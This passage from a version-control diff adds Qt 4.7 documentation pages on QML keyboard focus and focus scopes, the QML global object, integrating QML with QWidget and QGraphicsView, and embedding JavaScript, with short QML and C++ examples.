Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\target qmlfocus +\page qdeclarativefocus.html +\title Keyboard Focus in QML + +When a key is pressed or released, a key event is generated and delivered to the +focused QML \l Item. To facilitate the construction of reusable components +and to address some of the cases unique to fluid user interfaces, the QML items add a +\e scope based extension to Qt's traditional keyboard focus model. + +\tableofcontents + +\section1 Key Handling Overview + +When the user presses or releases a key, the following occurs: +\list 1 +\o Qt receives the key action and generates a key event. +\o If the Qt widget containing the \l QDeclarativeView has focus, the key event is delivered to it. Otherwise, regular Qt key handling continues. +\o The key event is delivered by the scene to the QML \l Item with \e {active focus}. If no \l Item has \e {active focus}, the key event is \l {QEvent::ignore()}{ignored} and regular Qt key handling continues. +\o If the QML \l Item with \e {active focus} accepts the key event, propagation stops. Otherwise the event is "bubbled up", by recursively passing it to each \l Item's parent until either the event is accepted, or the root \l Item is reached. + +If the \c {Rectangle} element in the following example has active focus and the \e A key is pressed, +it will bubble up to its parent. However, pressing the \e B key will bubble up to the root +item and thus subsequently be \l {QEvent::ignore()}{ignored}. + +\code +Item { + Item { + Keys.onPressed: if (event.key == Qt.Key_A) { console.log('Key A was pressed'); event.accepted = true } + Rectangle {} + } +} +\endcode + +\o If the root \l Item is reached, the key event is \l {QEvent::ignore()}{ignored} and regular Qt key handling continues. + +\endlist + +See also the \l {Keys}{Keys attached property} and \l {KeyNavigation}{KeyNavigation attached property}. + +\section1 Querying the Active Focus Item + +Whether or not an \l Item has \e {active focus} can be queried through the +property \c {Item::focus}. For example, here we have a \l Text +element whose text is determined by whether or not it has \e {active focus}. + +\code +Text { + text: focus ? "I have active focus!" : "I do not have active focus" +} +\endcode + +\section1 Acquiring Focus and Focus Scopes + +An \l Item requests focus by setting the \c {Item::focus} property to true. + +For very simple cases simply setting the \c {Item::focus} property is sometimes +sufficient. If we run the following example with the \l {Qt Declarative UI Runtime}{qml} tool, we see that +the \c {keyHandler} element has \e {active focus} and pressing the 'A', 'B' +or 'C' keys modifies the text appropriately. + +\table +\row +\o \code + Rectangle { + color: "lightsteelblue"; width: 240; height: 25 + Text { id: myText } + Item { + id: keyHandler + focus: true + Keys.onPressed: { + if (event.key == Qt.Key_A) + myText.text = 'Key A was pressed' + else if (event.key == Qt.Key_B) + myText.text = 'Key B was pressed' + else if (event.key == Qt.Key_C) + myText.text = 'Key C was pressed' + } + } + } +\endcode +\o \image declarative-qmlfocus1.png +\endtable + +However, were the above example to be used as a self-contained component, this +simple use of the \c {Item::focus} property is no longer sufficient. The left +hand side of the following table shows what we would like to be able to write. +Here we create two instances of our previously defined component, and set the +second one to have focus. The intention is that when the \e A, \e B, or \e C +keys are pressed, the second of the two components receives the event and +reponds accordingly. + +\table +\row +\o \code +Rectangle { + color: "red"; width: 240; height: 55 + MyWidget {} + MyWidget { y: 30; focus: true } +} +\endcode +\o \code +Rectangle { + color: "red"; width: 240; height: 55 + Rectangle { + color: "lightsteelblue"; width: 240; height: 25 + Text { id: myText } + Item { + id: keyHandler + focus: true + Keys.onPressed: { + if (event.key == Qt.Key_A) + myText.text = 'Key A was pressed' + else if (event.key == Qt.Key_B) + myText.text = 'Key B was pressed' + else if (event.key == Qt.Key_C) + myText.text = 'Key C was pressed' + } + } + } + Rectangle { + y: 30; focus: true + color: "lightsteelblue"; width: 240; height: 25 + Text { id: myText } + Item { + id: keyHandler + focus: true + Keys.onPressed: { + if (event.key == Qt.Key_A) + myText.text = 'Key A was pressed' + else if (event.key == Qt.Key_B) + myText.text = 'Key B was pressed' + else if (event.key == Qt.Key_C) + myText.text = 'Key C was pressed' + } + } + } +} +\endcode +\endtable + +The right hand side of the example shows the expanded code - the equivalent QML +without the use of the component \c {MyWidget}. From this, the problem is +evident - there are no less than three elements that have the \c {Item::focus} +property set to true. Ultimately only one element can have focus, and the +system has to decide which on. In this case the first appearance of the +\c {Item::focus} property being set to true on line 4 is selected, and the value +of \c {Item::focus} in the other two instances is reverted back to false. This +is exactly the opposite of what was wanted! + +This problem is fundamentally one of visibility. The \c {MyWidget} +components each set their \c {keyHandler} Items as focused as that is all they can +do - they don't know how they are going to be used, but they do know that when +they're in use their \c {keyHandler} element is what needs focus. Likewise +the code that uses the two \c {MyWidgets} sets the second \c {MyWidget} as +focused. While it doesn't know exactly how the \c {MyWidget} is +implemented, it knows that it wants the second one to be focused. This allows us +to achieve encapsulation, allowing each widget to focus on it's appropriate behaviour +itself. + +To solve this problem - allowing components to care about what they know about +and ignore everything else - the QML items introduce a concept known as a +\e {focus scope}. For existing Qt users, a \e {focus scope} is like an +automatic focus proxy. A \e {focus scope} is created using the \l FocusScope +element. + +In the next example, a \l FocusScope is added to the component, and the visual +result shown. + +\table +\row +\o \code +FocusScope { + width: 240; height: 25 + Rectangle { + color: "lightsteelblue"; width: 240; height: 25 + Text { id: myText } + Item { + id: keyHandler + focus: true + Keys.onPressed: { + if (event.key == Qt.Key_A) + myText.text = 'Key A was pressed' + else if (event.key == Qt.Key_B) + myText.text = 'Key B was pressed' + else if (event.key == Qt.Key_C) + myText.text = 'Key C was pressed' + } + } + } +} +\endcode +\o \image declarative-qmlfocus2.png +\endtable + +Conceptually \e {focus scopes} are quite simple. +\list +\o Within each \e {focus scope} one element may have \c {Item::focus} set to true. +If more than one \l Item has the \c {Item::focus} property set, the first is selected +and the others are unset, just like when there are no \e {focus scopes}. +\o When a \e {focus scope} receives \e {active focus}, the contained element with +\c {Item::focus} set (if any) also gets \e {active focus}. If this element is +also a \l FocusScope, the proxying behaviour continues. Both the +\e {focus scope} and the sub-focused item will have \c {Item::focus} set. +\endlist + +So far the example has the second component statically selected. It is trivial +now to extend this component to make it clickable, and add it to the original +application. We still set a one of the widgets as focused by default, but from +then on clicking the either one gives it focus. + +\table +\row +\o \code +Rectangle { + color: "red"; width: 240; height: 55 + MyClickableWidget {} + MyClickableWidget { y: 30; focus: true } +} +\endcode +\o \code +FocusScope { + id: page; width: 240; height: 25 + MyWidget { focus: true } + MouseArea { anchors.fill: parent; onClicked: { page.focus = true } } +} +\endcode +\endtable + +\image declarative-qmlfocus3.png + +When a QML item explicitly relinquishes focus (by setting its +\c {Item::focus} property to false while it has \e {active focus}), the system +does not automatically select another element to receive focus. That is, it +is possible for there to be no currently \e {active focus}. + +\section1 Advanced uses of Focus Scopes + +Focus scopes allow focus to allocation to be easily partitioned. Several +QML items use it to this effect. + +\l ListView, for example, is itself a focus scope. Generally this isn't +noticable as \l ListView doesn't usually have manually added visual children. +By being a focus scope, \l ListView can focus the current list item without +worrying about how that will effect the rest of the application. This allows +the current item delegate to react to key presses. + +This contrived example shows how this works. Pressing the \c Return key will +print the name of the current list item. + +\table +\row +\o \code +Rectangle { + color: "lightsteelblue"; width: 240; height: 320 + + ListView { + id: myView; anchors.fill: parent; focus: true + model: ListModel { + ListElement { name: "Bob" } + ListElement { name: "John" } + ListElement { name: "Michael" } + } + delegate: FocusScope { + width: contents.width; height: contents.height + Text { + focus: true + text: name + Keys.onReturnPressed: console.log(name) + } + } + } +} +\endcode +\o \image declarative-qmlfocus4.png +\endtable + +While the example is simple, there's a lot going on behind the scenes. Whenever +the current item changes, the \l ListView sets the delegate's \c {Item::focus} +property. As the \l ListView is a \e {focus scope}, this doesn't effect the +rest of the application. However, if the \l ListView itself has +\e {active focus} this causes the delegate itself to receive \e {active focus}. +In this example, the root element of the delegate is also a \e {focus scope}, +which in turn gives \e {active focus} to the \c {Text} element that +actually performs the work of handling the \e {Return} key. + +All of the QML view classes, such as \l PathView and \l GridView, behave +in a similar manner to allow key handling in their respective delegates. + +\section1 Focus Panels + +Traditional UIs are composed of many top-level windows. Windows actually +perform two tasks - they act as the visual bounds for a widget, and they segment +focus. Each window has a separate focused widget, that becomes (to mix +terminologies) the \e {active focus} widget when the window is the active +window. + +### Focus panels do basically the same thing. +*/ diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc new file mode 100644 index 0000000..97f5d91 --- /dev/null +++ b/doc/src/declarative/globalobject.qdoc @@ -0,0 +1,378 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativeglobalobject.html +\title QML Global Object + +Contains all the properties of the JavaScript global object, plus: + +\tableofcontents + +\section1 Qt Object + +The Qt object provides useful enums and functions from Qt, for use in all QML +files. + +\section2 Enums +The Qt object contains all enums in the Qt namespace. For example, you can +access the AlignLeft member of the Qt::AlignmentFlag enum with \c Qt.AlignLeft. + +For a full list of enums, see the \l{Qt Namespace} documentation. + +\section2 Types +The Qt object also contains helper functions for creating objects of specific +data types. This is primarily useful when setting the properties of an item +when the property has one of the following types: + +\list +\o Color +\o Rect +\o Point +\o Size +\o Vector3D +\endlist + +There are also string based constructors for these types, see \l{qdeclarativebasictypes.html}{Qml Types}. + +\section3 Qt.rgba(qreal red, qreal green, qreal blue, qreal alpha) +This function returns a Color with the specified \c red, \c green, \c blue and \c alpha components. All components should be in the range 0-1 inclusive. + +\section3 Qt.hsla(qreal hue, qreal saturation, qreal lightness, qreal alpha) +This function returns a Color with the specified \c hue, \c saturation, \c lightness and \c alpha components. All components should be in the range 0-1 inclusive. + +\section3 Qt.rect(int x, int y, int width, int height) +This function returns a Rect with the top-left corner at \c x, \c y and the specified \c width and \c height. +\section3 Qt.point(int x, int y) +This function returns a Point with the specified \c x and \c y coordinates. +\section3 Qt.size(int width, int height) +This function returns as Size with the specified \c width and \c height. +\section3 Qt.vector3d(real x, real y, real z) +This function returns a Vector3D with the specified \c x, \c y and \c z. + +\section2 Formatters +The Qt object contains several functions for formatting dates and times. + +\section3 Qt.formatDate(datetime date, variant format) +This function returns the string representation of \c date, formatted according to \c format. +\section3 Qt.formatTime(datetime time, variant format) +This function returns the string representation of \c time, formatted according to \c format. +\section3 Qt.formatDateTime(datetime dateTime, variant format) +This function returns the string representation of \c dateTime, formatted according to \c format. + +\c format for the above formatting functions can be specified as follows. + + These expressions may be used for the date: + + \table + \header \i Expression \i Output + \row \i d \i the day as number without a leading zero (1 to 31) + \row \i dd \i the day as number with a leading zero (01 to 31) + \row \i ddd + \i the abbreviated localized day name (e.g. 'Mon' to 'Sun'). + Uses QDate::shortDayName(). + \row \i dddd + \i the long localized day name (e.g. 'Monday' to 'Qt::Sunday'). + Uses QDate::longDayName(). + \row \i M \i the month as number without a leading zero (1-12) + \row \i MM \i the month as number with a leading zero (01-12) + \row \i MMM + \i the abbreviated localized month name (e.g. 'Jan' to 'Dec'). + Uses QDate::shortMonthName(). + \row \i MMMM + \i the long localized month name (e.g. 'January' to 'December'). + Uses QDate::longMonthName(). + \row \i yy \i the year as two digit number (00-99) + \row \i yyyy \i the year as four digit number + \endtable + + These expressions may be used for the time: + + \table + \header \i Expression \i Output + \row \i h + \i the hour without a leading zero (0 to 23 or 1 to 12 if AM/PM display) + \row \i hh + \i the hour with a leading zero (00 to 23 or 01 to 12 if AM/PM display) + \row \i m \i the minute without a leading zero (0 to 59) + \row \i mm \i the minute with a leading zero (00 to 59) + \row \i s \i the second without a leading zero (0 to 59) + \row \i ss \i the second with a leading zero (00 to 59) + \row \i z \i the milliseconds without leading zeroes (0 to 999) + \row \i zzz \i the milliseconds with leading zeroes (000 to 999) + \row \i AP + \i use AM/PM display. \e AP will be replaced by either "AM" or "PM". + \row \i ap + \i use am/pm display. \e ap will be replaced by either "am" or "pm". + \endtable + + All other input characters will be ignored. Any sequence of characters that + are enclosed in singlequotes will be treated as text and not be used as an + expression. Two consecutive singlequotes ("''") are replaced by a singlequote + in the output. + + Example format strings (assumed that the date and time is 21 May 2001 + 14:13:09): + + \table + \header \i Format \i Result + \row \i dd.MM.yyyy \i 21.05.2001 + \row \i ddd MMMM d yy \i Tue May 21 01 + \row \i hh:mm:ss.zzz \i 14:13:09.042 + \row \i h:m:s ap \i 2:13:9 pm + \endtable + +If no format is specified the locale's short format is used. Alternatively, you can specify +\c Qt.DefaultLocaleLongDate to get the locale's long format. + +\section2 Functions +The Qt object also contains the following miscellaneous functions which expose Qt functionality for use in QML. + +\section3 Qt.lighter(color baseColor) +This function returns a color 50% lighter than \c baseColor. See QColor::lighter() for further details. +\section3 Qt.darker(color baseColor) +This function returns a color 50% darker than \c baseColor. See QColor::darker() for further details. +\section3 Qt.tint(color baseColor, color tintColor) + This function allows tinting one color with another. + + The tint color should usually be mostly transparent, or you will not be able to see the underlying color. The below example provides a slight red tint by having the tint color be pure red which is only 1/16th opaque. + + \qml + Rectangle { x: 0; width: 80; height: 80; color: "lightsteelblue" } + Rectangle { x: 100; width: 80; height: 80; color: Qt.tint("lightsteelblue", "#10FF0000") } + \endqml + \image declarative-rect_tint.png + + Tint is most useful when a subtle change is intended to be conveyed due to some event; you can then use tinting to more effectively tune the visible color. + +\section3 Qt.openUrlExternally(url target) +This function attempts to open the specified \c target url in an external application, based on the user's desktop preferences. It will return true if it succeeds, and false otherwise. + +\section3 Qt.md5(data) +This function returns a hex string of the md5 hash of \c data. + +\section3 Qt.btoa(data) +This function returns a base64 encoding of \c data. + +\section3 Qt.atob(data) +This function returns a base64 decoding of \c data. + +\section3 Qt.quit() +This function causes the QML engine to emit the quit signal, which in +\l {Qt Declarative UI Runtime}{qml} causes the runtime to quit. + +\section3 Qt.resolvedUrl(url) +This function returns \c url resolved relative to the URL of the +caller. + +\section3 Qt.isQtObject(object) +Returns true if \c object is a valid reference to a Qt or QML object, otherwise false. + +\section1 Dynamic Object Creation +The following functions on the global object allow you to dynamically create QML +items from files or strings. See \l{Dynamic Object Management} for an overview +of their use. + +\section2 createComponent(url file) + This function takes the URL of a QML file as its only argument. It returns + a component object which can be used to create and load that QML file. + + Example QML script is below. Remember that QML files that might be loaded + over the network cannot be expected to be ready immediately. + \code + var component; + var sprite; + function finishCreation(){ + if(component.isReady()){ + sprite = component.createObject(); + if(sprite == 0){ + // Error Handling + }else{ + sprite.parent = page; + sprite.x = 200; + //... + } + }else if(component.isError()){ + // Error Handling + } + } + + component = createComponent("Sprite.qml"); + if(component.isReady()){ + finishCreation(); + }else{ + component.statusChanged.connect(finishCreation); + } + \endcode + + If you are certain the files will be local, you could simplify to + + \code + component = createComponent("Sprite.qml"); + sprite = component.createObject(); + if(sprite == 0){ + // Error Handling + console.log(component.errorsString()); + }else{ + sprite.parent = page; + sprite.x = 200; + //... + } + \endcode + + If you want to just create an arbitrary string of QML, instead of + loading a QML file, consider the createQmlObject() function. + +\section2 createQmlObject(string qml, object parent, string filepath) + Creates a new object from the specified string of QML. It requires a + second argument, which is the id of an existing QML object to use as + the new object's parent. If a third argument is provided, this is used + for error reporting as the filepath that the QML came from. + + Example (where targetItem is the id of an existing QML item): + \code + newObject = createQmlObject('import Qt 4.7; Rectangle {color: "red"; width: 20; height: 20}', + targetItem, "dynamicSnippet1"); + \endcode + + This function is intended for use inside QML only. It is intended to behave + similarly to eval, but for creating QML elements. + + Returns the created object, or null if there is an error. In the case of an + error, details of the error are output using qWarning(). + + Note that this function returns immediately, and therefore may not work if + the QML loads new components. If you are trying to load a new component, + for example from a QML file, consider the createComponent() function + instead. 'New components' refers to external QML files that have not yet + been loaded, and so it is safe to use createQmlObject to load built-in + components. + +\section1 Asynchronous JavaScript and XML +QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain data from over a network. +\section2 XMLHttpRequest() +In QML you can construct an XMLHttpRequest object just like in a web browser! TODO: Real documentation for this object. + + +\section1 Offline Storage API + +\section2 Database API + +The \c openDatabaseSync() and related functions +provide the ability to access local offline storage in an SQL database. + +These databases are user-specific and QML-specific, but accessible to all QML applications. +They are stored in the \c Databases subdirectory +of QDeclarativeEngine::offlineStoragePath(), currently as SQLite databases. + +The API can be used from JavaScript functions in your QML: + +\quotefile declarative/sql/hello.qml + +The API conforms to the Synchronous API of the HTML5 Web Database API, +\link http://www.w3.org/TR/2009/WD-webdatabase-20091029/ W3C Working Draft 29 October 2009\endlink. + +\section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db)) + +Returns the database identified by \e identifier. If the database does not already exist, it +is created with the properties \e description and \e estimated_size and the function \e callback +is called with the database as a parameter. + +May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR. + +When a database is first created, an INI file is also created specifying its characteristics: + +\table +\header \o \bold {Key} \o \bold {Value} +\row \o Name \o The name of the database passed to \c openDatabase() +\row \o Version \o The version of the database passed to \c openDatabase() +\row \o Description \o The description of the database passed to \c openDatabase() +\row \o EstimatedSize \o The estimated size of the database passed to \c openDatabase() +\row \o Driver \o Currently "QSQLITE" +\endtable + +This data can be used by application tools. + +\section3 db.changeVersion(from, to, callback(tx)) + +This method allows you to perform a \e{Scheme Upgrade}. + +If the current version of \e db is not \e from, then an exception is thrown. + +Otherwise, a database transaction is created and passed to \e callback. In this function, +you can call \e executeSql on \e tx to upgrade the database. + +May throw exception with code property SQLException.DATABASE_ERR or SQLException.UNKNOWN_ERR. + +\section3 db.transaction(callback(tx)) + +This method creates a read/write transaction and passed to \e callback. In this function, +you can call \e executeSql on \e tx to read and modify the database. + +If the callback throws exceptions, the transaction is rolled back. + +\section3 db.readTransaction(callback(tx)) + +This method creates a read-only transaction and passed to \e callback. In this function, +you can call \e executeSql on \e tx to read the database (with SELECT statements). + +\section3 results = tx.executeSql(statement, values) + +This method executes a SQL \e statement, binding the list of \e values to SQL positional parameters ("?"). + +It returns a results object, with the following properties: + +\table +\header \o \bold {Type} \o \bold {Property} \o \bold {Value} \o \bold {Applicability} +\row \o int \o rows.length \o The number of rows in the result \o SELECT +\row \o var \o rows.item(i) \o Function that returns row \e i of the result \o SELECT +\row \o int \o rowsAffected \o The number of rows affected by a modification \o UPDATE, DELETE +\row \o string \o insertId \o The id of the row inserted \o INSERT +\endtable + +May throw exception with code property SQLException.DATABASE_ERR, SQLException.SYNTAX_ERR, or SQLException.UNKNOWN_ERR. + +\section1 Logging + +\c console.log() and \c console.debug() can be used to print information +to the console. See \l{Debugging QML} for more information. + +*/ diff --git a/doc/src/declarative/integrating.qdoc b/doc/src/declarative/integrating.qdoc new file mode 100644 index 0000000..d4034fa --- /dev/null +++ b/doc/src/declarative/integrating.qdoc @@ -0,0 +1,161 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-integration.html +\title Integrating QML with existing Qt UI code + +There are a number of ways to integrate QML into QWidget-based UI applications, +depending on the characteristics of your existing UI code. + + +\section1 Integrating with a \l{QWidget}-based UI + +If you have an existing QWidget-based UI, QML widgets can be integrated into +it using QDeclarativeView. QDeclarativeView is a subclass of QWidget so you +can add it to your user interface like any other QWidget. Use +QDeclarativeView::setSource() to load a QML file into the view, then add the +view to your UI: + +\code +QDeclarativeView *qmlView = new QDeclarativeView; +qmlView->setSource(QUrl::fromLocalFile("myqml.qml")); + +QWidget *widget = myExistingWidget(); +QVBoxLayout *layout = new QVBoxLayout(widget); +widget->addWidget(qmlView); +\endcode + +The one drawback to this approach is that QDeclarativeView is slower to initialize +and uses more memory than a QWidget, and creating large numbers of QDeclarativeView +objects may lead to performance degradation. If this is the case, it may be +better to rewrite your widgets in QML, and load the widgets from a main QML widget +instead of using QDeclarativeView. + +Keep in mind that QWidgets were designed for a different type of user interface +than QML, so it is not always a good idea to port a QWidget-based application to +QML. QWidgets are a better choice if your UI is comprised of a small number of +complex and static elements, and QML is a better choice if your UI is comprised of a large number +of simple and dynamic elements. + + +\section1 Integrating with a QGraphicsView-based UI + +\section2 Adding QML widgets to a QGraphicsScene + +If you have an existing UI based on the \l{The Graphics View Framework}{Graphics View Framework}, +you can integrate QML widgets directly into your QGraphicsScene. Use +QDeclarativeComponent to create a QGraphicsObject from a QML file, and +place the graphics object into your scene using \l{QGraphicsScene::addItem()}, or +reparent it to an item already in the \l{QGraphicsScene}. + +For example: + +\code +QGraphicsScene* scene = myExistingGraphicsScene(); +QDeclarativeEngine *engine = new QDeclarativeEngine; +QDeclarativeComponent component(engine, QUrl::fromLocalFile("myqml.qml")); +QGraphicsObject *object = + qobject_cast<QGraphicsObject *>(component.create()); +scene->addItem(object); +\endcode + +The following QGraphicsView options are recommended for optimal performance +of QML UIs: + +\list +\o QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState) +\o QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate) +\o QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex) +\endlist + +\section2 Loading QGraphicsWidget objects in QML + +An alternative approach is to expose your existing QGraphicsWidget objects to +QML and construct your scene in QML instead. To do this, you need to register +any custom C++ types and create a plugin that registers the custom types +so that they can be used from your QML file. + +Here is an example. Suppose you have two classes, \c RedSquare and \c BlueCircle, +that both inherit from QGraphicsWidget. First, you need to register these two types +using the \c QML_DECLARE_TYPE macro from \c <QtDeclarative/qdeclarative.h>, like this: + +\c [graphicswidgets/redsquare.h] +\snippet doc/src/declarative/snippets/integrating/graphicswidgets/redsquare.h 0 + +\c [graphicswidgets/bluecircle.h] +\snippet doc/src/declarative/snippets/integrating/graphicswidgets/bluecircle.h 0 + +Then, create a plugin by subclassing QDeclarativeExtensionPlugin, and register the +types by calling qmlRegisterType(). Also export the plugin with Q_EXPORT_PLUGIN2. + +\c [graphicswidgets/shapesplugin.cpp] +\snippet doc/src/declarative/snippets/integrating/graphicswidgets/shapesplugin.cpp 0 + +Now write a project file that creates the plugin: + +\c [graphicswidgets/graphicswidgets.pro] +\quotefile doc/src/declarative/snippets/integrating/graphicswidgets/graphicswidgets.pro + +And add a \c qmldir file that includes the \c graphicswidgets plugin from the \c lib +subdirectory (as defined in the project file): + +\c [graphicswidgets/qmldir] +\quotefile doc/src/declarative/snippets/integrating/graphicswidgets/qmldir + +Now, we can write a QML file that uses the \c RedSquare and \c BlueCircle widgets. +(As an example, we can also create \c QGraphicsWidget items if we import the \c Qt.widgets +module.) + +\c [main.qml] +\quotefile doc/src/declarative/snippets/integrating/graphicswidgets/main.qml + +Here is a screenshot of the result: + +\image declarative-integrating-graphicswidgets.png + + +Note this approach of creating your graphics widgets from QML does not work +with QGraphicsItem objects that are not QGraphicsWidget-based, since they are not QObjects. + +See \l{Extending QML in C++} for further information on using C++ types. + +*/ diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc new file mode 100644 index 0000000..8ffe58c --- /dev/null +++ b/doc/src/declarative/javascriptblocks.qdoc @@ -0,0 +1,250 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativejavascript.html +\title Integrating JavaScript + +QML encourages building UIs declaratively, using \l {Property Binding} and the +composition of existing \l {QML Elements}. To allow the implementation of more +advanced behavior, QML integrates tightly with imperative JavaScript code. + +The JavaScript environment provided by QML is stricter than that in a webbrowser. +In QML you cannot add, or modify, members of the JavaScript global object. It +is possible to do this accidentally by using a variable without declaring it. In +QML this will throw an exception, so all local variables should be explicitly +declared. + +In addition to the standard JavaScript properties, the \l {QML Global Object} +includes a number of helper methods that simplify building UIs and interacting +with the QML environment. + +\section1 Inline JavaScript + +Small JavaScript functions can be written inline with other QML declarations. +These inline functions are added as methods to the QML element that contains +them. + +\code +Item { + function factorial(a) { + a = Integer(a); + if (a <= 0) + return 1; + else + return a * factorial(a - 1); + } + + MouseArea { + anchors.fill: parent + onClicked: print(factorial(10)) + } +} +\endcode + +As methods, inline functions on the root element in a QML component can be +invoked by callers outside the component. If this is not desired, the method +can be added to a non-root element or, preferably, written in an external +JavaScript file. + +\section1 Separate JavaScript files + +Large blocks of JavaScript should be written in separate files. These files +can be imported into QML files using an \c import statement, in the same way +that \l {Modules}{modules} are imported. + +For example, the \c {factorial()} method in the above example for \l {Inline JavaScript} +could be moved into an external file named \c factorial.js, and accessed like this: + +\code +import "factorial.js" as MathFunctions +Item { + MouseArea { + anchors.fill: parent + onClicked: print(MathFunctions.factorial(10)) + } +} +\endcode + +Both relative and absolute JavaScript URLs can be imported. In the case of a +relative URL, the location is resolved relative to the location of the +\l {QML Document} that contains the import. If the script file is not accessible, +an error will occur. If the JavaScript needs to be fetched from a network +resource, the QML document has a "Loading" +\l {QDeclarativeComponent::status()}{status} until the script has been +downloaded. + +Imported JavaScript files are always qualified using the "as" keyword. The +qualifier for JavaScript files must be unique, so there is always a one-to-one +mapping between qualifiers and JavaScript files. + +\section2 Code-Behind Implementation Files + +Most JavaScript files imported into a QML file are stateful, logic implementations +for the QML file importing them. In these cases, for QML component instances to +behave correctly each instance requires a separate copy of the JavaScript objects +and state. + +The default behavior when importing JavaScript files is to provide a unique, isolated +copy for each QML component instance. The code runs in the same scope as the QML +component instance and consequently can can access and manipulate the objects and +properties declared. + +\section2 Stateless JavaScript libraries + +Some JavaScript files act more like libraries - they provide a set of stateless +helper functions that take input and compute output, but never manipulate QML +component instances directly. + +As it would be wasteful for each QML component instance to have a unique copy of +these libraries, the JavaScript programmer can indicate a particular file is a +stateless library through the use of a pragma, as shown in the following example. + +\code +// factorial.js +.pragma library + +function factorial(a) { + a = Integer(a); + if (a <= 0) + return 1; + else + return a * factorial(a - 1); +} +\endcode + +The pragma declaration must appear before any JavaScript code excluding comments. + +As they are shared, stateless library files cannot access QML component instance +objects or properties directly, although QML values can be passed as function +parameters. + +\section1 Running JavaScript at Startup + +It is occasionally necessary to run some imperative code at application (or +component instance) "startup". While it is tempting to just include the startup +script as \e {global code} in an external script file, this can have severe limitations +as the QML environment may not have been fully established. For example, some objects +might not have been created or some \l {Property Binding}s may not have been run. +\l {QML JavaScript Restrictions} covers the exact limitations of global script code. + +The QML \l Component element provides an \e attached \c onCompleted property that +can be used to trigger the execution of script code at startup after the +QML environment has been completely established. For example: + +\code +Rectangle { + function startupFunction() { + // ... startup code + } + + Component.onCompleted: startupFunction(); +} +\endcode + +Any element in a QML file - including nested elements and nested QML component +instances - can use this attached property. If there is more than one \c onCompleted() +handler to execute at startup, they are run sequentially in an undefined order. + +\section1 QML JavaScript Restrictions + +QML executes standard 